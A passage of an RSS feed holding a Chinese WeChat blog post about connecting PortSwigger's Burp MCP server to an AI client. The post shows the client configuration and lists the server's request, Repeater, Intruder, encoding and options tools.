serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><a href="https://hackerone.com/reports/1818628" target="_blank">https://hackerone.com/reports/1818628</a></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=3580214d&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIzMTIzNTM0MA%3D%3D%26mid%3D2247499560%26idx%3D1%26sn%3Dedf0b4a18fa8ae3905c4db800d06f795">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 15 Jun 2026 10:00:00 +0800</pubDate>
    </item>
    <item>
      <title>让AI直接操作Burp做漏洞分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247499557&amp;idx=1&amp;sn=0d29b1a40e6c5aa235df0aba816c5ce9</link>
      <description></description>
      <content:encoded><![CDATA[<p><span>btt201314</span> <span>2026-06-12 11:00</span> <span style="display: inline-block;">四川</span></p>




  <p>以下文章来源于：安全无界</p>
  <strong>安全无界</strong>
  <p>面向年轻的网络安全爱好者，分享网络安全技术、工具和趋势。</p>



  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=56325461&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F7xtecWUgCRxuEMCXxXrMrHfibz7AxaIfRpRQSofRcHpYNtf4pHEn2ibnb1UB3LSu3ILl4icFNWKicXlpPia61lQLicynl75hnxoFyIywwZkJgcv8M%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p style="text-indent: 2em;margin-bottom: 24px;"><span leaf="">最近抽空看了一下</span><span leaf="">PortSwigger官方出的Burp MCP服务，整体感觉一些繁琐的事情确实可以结合MCP让AI直接操作Burp去分析，不用再重度依赖人工核验。</span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100002038" data-ratio="0.9296296296296296" data-s="300,640" type="block" data-type="png" data-w="1080" style="width:395px;height:367px;" src="https://wechat2rss.xlab.app/img-proxy/?k=045fadb2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F72I8gAalpPVhJYB8bvhUHziaAibicFFs3LqqB9zQ7l72Rib2VeCictyk8vbY78FU4cnAH82awNCWRibLMYQOzcMP5hSQLGbS5Vl7BT3tpicoXuT5IM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-indent: 2em;margin-bottom: 24px;"><span leaf="">言归正传，</span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,null]">Burp MCP官方Github链接：</span><span leaf=""><a href="https://github.com/PortSwigger/mcp-server，不过现在较新的burp版本上插件市场即可直接下载了。" target="_blank">https://github.com/PortSwigger/mcp-server，不过现在较新的burp版本上插件市场即可直接下载了。</a></span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100002029" data-ratio="0.4527777777777778" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=a2b56bd2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F72I8gAalpPVOALemC03a1vhYDWBKTHrD4TthMnnCo9TlnkOkjJibXDmvgrg8GSoRcIpNvFAjkiclNfNcxtv91XuV84KCUhA4VYevceZvIUp1k%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-indent: 2em;margin-bottom: 24px;"><span leaf="">启动后，会监听9876端口，然后在Claude</span><span style="color: rgb(31, 35, 40);font-family: &#34;Mona Sans VF&#34;, -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">客户端</span></span><span leaf="">或者其他客户端上加载MCP服务即可，Claude</span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,null]">配置如下，具体可以查看官方文档。</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="json"><code><span leaf=""><span class="code-snippet__punctuation">{</span></span></code><br/><code><span leaf="">  <span class="code-snippet__attr">&#34;mcpServers&#34;</span><span class="code-snippet__punctuation">:</span> <span class="code-snippet__punctuation">{</span></span></code><br/><code><span leaf="">    <span class="code-snippet__attr">&#34;burp&#34;</span><span class="code-snippet__punctuation">:</span> <span class="code-snippet__punctuation">{</span></span></code><br/><code><span leaf="">      <span class="code-snippet__attr">&#34;command&#34;</span><span class="code-snippet__punctuation">:</span> <span class="code-snippet__string">&#34;&lt;path to Java executable packaged with Burp&gt;&#34;</span><span class="code-snippet__punctuation">,</span></span></code><br/><code><span leaf="">      <span class="code-snippet__attr">&#34;args&#34;</span><span class="code-snippet__punctuation">:</span> <span class="code-snippet__punctuation">[</span></span></code><br/><code><span leaf="">          <span class="code-snippet__string">&#34;-jar&#34;</span><span class="code-snippet__punctuation">,</span></span></code><br/><code><span leaf="">          <span class="code-snippet__string">&#34;/path/to/mcp/proxy/jar/mcp-proxy-all.jar&#34;</span><span class="code-snippet__punctuation">,</span></span></code><br/><code><span leaf="">          <span class="code-snippet__string">&#34;--sse-url&#34;</span><span class="code-snippet__punctuation">,</span></span></code><br/><code><span leaf="">          <span class="code-snippet__string">&#34;&lt;your Burp MCP server URL configured in the extension&gt;&#34;</span></span></code><br/><code><span leaf="">      <span class="code-snippet__punctuation">]</span></span></code><br/><code><span leaf="">    <span class="code-snippet__punctuation">}</span></span></code><br/><code><span leaf="">  <span class="code-snippet__punctuation">}</span></span></code><br/><code><span leaf=""><span class="code-snippet__punctuation">}</span></span></code><br/></pre></p><p style="text-indent: 2em;margin-bottom: 24px;"><span leaf="">我这里使用的是</span><span leaf=""> Interpreter，如下，直接输入Burp MCP server即可。</span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100002031" data-ratio="0.6388888888888888" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c29fc34b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F72I8gAalpPUrd2hSxZTHKz0weBrOzD9Tyffe6SN5jXpSpQMLlLAJf7bMIBo7dOLYTK0Zynt58hTaiaybRPpciaOWjweS3Jkrc0cdKgSmH0DaU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-indent: 2em;margin-bottom: 24px;"><span leaf="">这中间稍微踩了一些坑，起初我是直接复制的<a href="http://127.0.0.1:9876/，结果却无法正常读取，不清楚是这个客户端的原因还是啥，不过都不重要。" target="_blank">http://127.0.0.1:9876/，结果却无法正常读取，不清楚是这个客户端的原因还是啥，不过都不重要。</a></span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3972222222222222" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100002032" src="https://wechat2rss.xlab.app/img-proxy/?k=b1afe33a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F72I8gAalpPWl6rncnxJShSEFeHkqRNiarlIvudicr2n8NibXicQicc0Arg8V9gSQhD0BGHtsy3BdVdx3XS9QlmtGBp1Ywvp6HSllgnGAYKSO25pc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-indent: 2em;margin-bottom: 24px;"><span leaf="">让AI纠正后即可正常使用了。</span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100002034" data-ratio="0.2564814814814815" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=cf047aae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F72I8gAalpPXZ3NBH5Rzy0IevFbDBhf2W3PFgZUDN3hDnR82IibH5haaWiaMzadsBaVKaIEETfgNpJceXcPBp9BREKTHQ0ich9wHicZ2NOZgC49k%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-indent: 2em;margin-bottom: 24px;"><span leaf="">大概看了一些这个MCP具备的主要tools，如下。</span></p><ol style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;list-style: decimal;margin-block: 9.75px;color: rgb(47, 47, 47);font-family: system-ui, -apple-system, &#34;Segoe UI&#34;, Roboto, &#34;Noto Sans&#34;, Ubuntu, Cantarell, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin-inline-start: 1.25rem;" class="list-paddingleft-1"><li style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 3.25px 0px 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;"><strong style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;font-weight: bolder;"><span leaf="">发包与标签页</span></strong></li></ol><ul style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;list-style: disc;margin-block: 9.75px;color: rgb(47, 47, 47);font-family: system-ui, -apple-system, &#34;Segoe UI&#34;, Roboto, &#34;Noto Sans&#34;, Ubuntu, Cantarell, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin-inline-start: 1.25rem;" class="list-paddingleft-1"><li style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 3.25px 0px 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;"><code dir="ltr" style="box-sizing: border-box;border-width: 0.5px;border-style: solid;border-color: color(srgb 0.898039 0.905882 0.921569 / 0.44);border-image: none 100% / 1 / 0 stretch;margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 0.92em;padding-inline: 4.875px;padding-block: 1.625px;border-radius: 5.6px !important;background: none 0% 0% / auto repeat scroll padding-box border-box color(srgb 0.952941 0.956863 0.964706 / 0.8);"><span leaf="">send_http1_request</span></code></li><li style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 3.25px 0px 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;"><code dir="ltr" style="box-sizing: border-box;border-width: 0.5px;border-style: solid;border-color: color(srgb 0.898039 0.905882 0.921569 / 0.44);border-image: none 100% / 1 / 0 stretch;margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 0.92em;padding-inline: 4.875px;padding-block: 1.625px;border-radius: 5.6px !important;background: none 0% 0% / auto repeat scroll padding-box border-box color(srgb 0.952941 0.956863 0.964706 / 0.8);"><span leaf="">send_http2_request</span></code></li><li style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 3.25px 0px 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;"><code dir="ltr" style="box-sizing: border-box;border-width: 0.5px;border-style: solid;border-color: color(srgb 0.898039 0.905882 0.921569 / 0.44);border-image: none 100% / 1 / 0 stretch;margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 0.92em;padding-inline: 4.875px;padding-block: 1.625px;border-radius: 5.6px !important;background: none 0% 0% / auto repeat scroll padding-box border-box color(srgb 0.952941 0.956863 0.964706 / 0.8);"><span leaf="">create_repeater_tab</span></code></li><li style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 3.25px 0px 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;"><code dir="ltr" style="box-sizing: border-box;border-width: 0.5px;border-style: solid;border-color: color(srgb 0.898039 0.905882 0.921569 / 0.44);border-image: none 100% / 1 / 0 stretch;margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 0.92em;padding-inline: 4.875px;padding-block: 1.625px;border-radius: 5.6px !important;background: none 0% 0% / auto repeat scroll padding-box border-box color(srgb 0.952941 0.956863 0.964706 / 0.8);"><span leaf="">create_repeater_tab_http2</span></code></li><li style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 3.25px 0px 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;"><code dir="ltr" style="box-sizing: border-box;border-width: 0.5px;border-style: solid;border-color: color(srgb 0.898039 0.905882 0.921569 / 0.44);border-image: none 100% / 1 / 0 stretch;margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 0.92em;padding-inline: 4.875px;padding-block: 1.625px;border-radius: 5.6px !important;background: none 0% 0% / auto repeat scroll padding-box border-box color(srgb 0.952941 0.956863 0.964706 / 0.8);"><span leaf="">send_to_intruder</span></code></li></ul><ol style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;list-style: decimal;margin-block: 9.75px;color: rgb(47, 47, 47);font-family: system-ui, -apple-system, &#34;Segoe UI&#34;, Roboto, &#34;Noto Sans&#34;, Ubuntu, Cantarell, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin-inline-start: 1.25rem;" class="list-paddingleft-1" start="2"><li style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 3.25px 0px 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;"><strong style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;font-weight: bolder;"><span leaf="">编码/生成辅助</span></strong></li></ol><ul style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;list-style: disc;margin-block: 9.75px;color: rgb(47, 47, 47);font-family: system-ui, -apple-system, &#34;Segoe UI&#34;, Roboto, &#34;Noto Sans&#34;, Ubuntu, Cantarell, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin-inline-start: 1.25rem;" class="list-paddingleft-1"><li style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 3.25px 0px 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;"><code dir="ltr" style="box-sizing: border-box;border-width: 0.5px;border-style: solid;border-color: color(srgb 0.898039 0.905882 0.921569 / 0.44);border-image: none 100% / 1 / 0 stretch;margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 0.92em;padding-inline: 4.875px;padding-block: 1.625px;border-radius: 5.6px !important;background: none 0% 0% / auto repeat scroll padding-box border-box color(srgb 0.952941 0.956863 0.964706 / 0.8);"><span leaf="">url_encode</span></code><p><span leaf=""> / </span><code dir="ltr" style="box-sizing: border-box;border-width: 0.5px;border-style: solid;border-color: color(srgb 0.898039 0.905882 0.921569 / 0.44);border-image: none 100% / 1 / 0 stretch;margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 0.92em;padding-inline: 4.875px;padding-block: 1.625px;border-radius: 5.6px !important;background: none 0% 0% / auto repeat scroll padding-box border-box color(srgb 0.952941 0.956863 0.964706 / 0.8);"><span leaf="">url_decode</span></code></p></li><li style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 3.25px 0px 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;"><code dir="ltr" style="box-sizing: border-box;border-width: 0.5px;border-style: solid;border-color: color(srgb 0.898039 0.905882 0.921569 / 0.44);border-image: none 100% / 1 / 0 stretch;margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 0.92em;padding-inline: 4.875px;padding-block: 1.625px;border-radius: 5.6px !important;background: none 0% 0% / auto repeat scroll padding-box border-box color(srgb 0.952941 0.956863 0.964706 / 0.8);"><span leaf="">base64_encode</span></code><p><span leaf=""> / </span><code dir="ltr" style="box-sizing: border-box;border-width: 0.5px;border-style: solid;border-color: color(srgb 0.898039 0.905882 0.921569 / 0.44);border-image: none 100% / 1 / 0 stretch;margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 0.92em;padding-inline: 4.875px;padding-block: 1.625px;border-radius: 5.6px !important;background: none 0% 0% / auto repeat scroll padding-box border-box color(srgb 0.952941 0.956863 0.964706 / 0.8);"><span leaf="">base64_decode</span></code></p></li><li style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 3.25px 0px 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;"><code dir="ltr" style="box-sizing: border-box;border-width: 0.5px;border-style: solid;border-color: color(srgb 0.898039 0.905882 0.921569 / 0.44);border-image: none 100% / 1 / 0 stretch;margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 0.92em;padding-inline: 4.875px;padding-block: 1.625px;border-radius: 5.6px !important;background: none 0% 0% / auto repeat scroll padding-box border-box color(srgb 0.952941 0.956863 0.964706 / 0.8);"><span leaf="">generate_random_string</span></code></li></ul><ol style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;list-style: decimal;margin-block: 9.75px;color: rgb(47, 47, 47);font-family: system-ui, -apple-system, &#34;Segoe UI&#34;, Roboto, &#34;Noto Sans&#34;, Ubuntu, Cantarell, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin-inline-start: 1.25rem;" class="list-paddingleft-1" start="3"><li style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 3.25px 0px 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;"><strong style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;font-weight: bolder;"><span leaf="">配置读取与修改</span></strong></li></ol><ul style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;list-style: disc;margin-block: 9.75px;color: rgb(47, 47, 47);font-family: system-ui, -apple-system, &#34;Segoe UI&#34;, Roboto, &#34;Noto Sans&#34;, Ubuntu, Cantarell, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin-inline-start: 1.25rem;" class="list-paddingleft-1"><li style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 3.25px 0px 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;"><code dir="ltr" style="box-sizing: border-box;border-width: 0.5px;border-style: solid;border-color: color(srgb 0.898039 0.905882 0.921569 / 0.44);border-image: none 100% / 1 / 0 stretch;margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 0.92em;padding-inline: 4.875px;padding-block: 1.625px;border-radius: 5.6px !important;background: none 0% 0% / auto repeat scroll padding-box border-box color(srgb 0.952941 0.956863 0.964706 / 0.8);"><span leaf="">output_project_options</span></code><p><span leaf=""> / </span><code dir="ltr" style="box-sizing: border-box;border-width: 0.5px;border-style: solid;border-color: color(srgb 0.898039 0.905882 0.921569 / 0.44);border-image: none 100% / 1 / 0 stretch;margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 0.92em;padding-inline: 4.875px;padding-block: 1.625px;border-radius: 5.6px !important;background: none 0% 0% / auto repeat scroll padding-box border-box color(srgb 0.952941 0.956863 0.964706 / 0.8);"><span leaf="">output_user_options</span></code></p></li><li style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 3.25px 0px 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;"><code dir="ltr" style="box-sizing: border-box;border-width: 0.5px;border-style: solid;border-color: color(srgb 0.898039 0.905882 0.921569 / 0.44);border-image: none 100% / 1 / 0 stretch;margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 0.92em;padding-inline: 4.875px;padding-block: 1.625px;border-radius: 5.6px !important;background: none 0% 0% / auto repeat scroll padding-box border-box color(srgb 0.952941 0.956863 0.964706 / 0.8);"><span leaf="">set_project_options</span></code><p><span leaf=""> / </span><code dir="ltr" style="box-sizing: border-box;border-width: 0.5px;border-style: solid;border-color: color(srgb 0.898039 0.905882 0.921569 / 0.44);border-image: none 100% / 1 / 0 stretch;margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 0.92em;padding-inline: 4.875px;padding-block: 1.625px;border-radius: 5.6px !important;background: none 0% 0% / auto repeat scroll padding-box border-box color(srgb 0.952941 0.956863 0.964706 / 0.8);"><span leaf="">set_user_options</span></code></p></li></ul><ol style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;list-style: decimal;margin-block: 9.75px;color: rgb(47, 47, 47);font-family: system-ui, -apple-system, &#34;Segoe UI&#34;, Roboto, &#34;Noto Sans&#34;, Ubuntu, Cantarell, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin-inline-start: 1.25rem;" class="list-paddingleft-1" start="4"><li style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 3.25px 0px 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;"><strong style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;font-weight: bolder;"><span leaf="">扫描与协作平台</span></strong></li></ol><ul style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;list-style: disc;margin-block: 9.75px;color: rgb(47, 47, 47);font-family: system-ui, -apple-system, &#34;Segoe UI&#34;, Roboto, &#34;Noto Sans&#34;, Ubuntu, Cantarell, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: 